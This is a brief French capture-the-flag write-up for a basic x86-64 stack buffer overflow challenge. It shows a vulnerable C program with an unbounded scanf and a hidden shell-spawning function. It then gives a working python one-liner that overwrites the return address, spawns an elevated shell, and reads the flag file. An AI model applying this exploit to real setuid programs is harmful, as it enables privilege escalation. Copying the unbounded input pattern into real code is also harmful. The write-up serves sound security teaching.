ELF x86 - Stack buffer overflow basic
Code Source
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
/*
gcc -o ch35 ch35.c -fno-stack-protector -no-pie -Wl,-z,relro,-z,now,-z,noexecstack
*/
void callMeMaybe(){
char *argv[] = { "/bin/bash", "-p", NULL };
execve(argv[0], argv, NULL);
}
int main(int argc, char **argv){
char buffer[256];
int len, i;
scanf("%s", buffer);
len = strlen(buffer);
printf("Hello %s\n", buffer);
return 0;
}On récupère l’adresse de la fonction que l’on souhaite appeler grâce à la commande nm.
app-systeme-ch35@challenge03:~$ nm ch35 | grep call
00000000004006cd T callMeMaybeOn va simplement mettre l’adresse de la fonction callMeMaybe (0x00000000004006cd) dans la pile avec comme objectif l’écrasement de l’adresse de retour du main. Pour éviter l’étape visant à rechercher la position exacte dans la pile de l’adresse de retour du main, on va simplement copier cette adresse partout.
app-systeme-ch35@challenge03:~$ (python -c "print('\xcd\x06\x40\x00\x00\x00\x00\x00' * 50)" ; cat) | ./ch35
Hello ▒@
ls
ch35 ch35.c
whoami
app-systeme-ch35-cracked
cat .passwd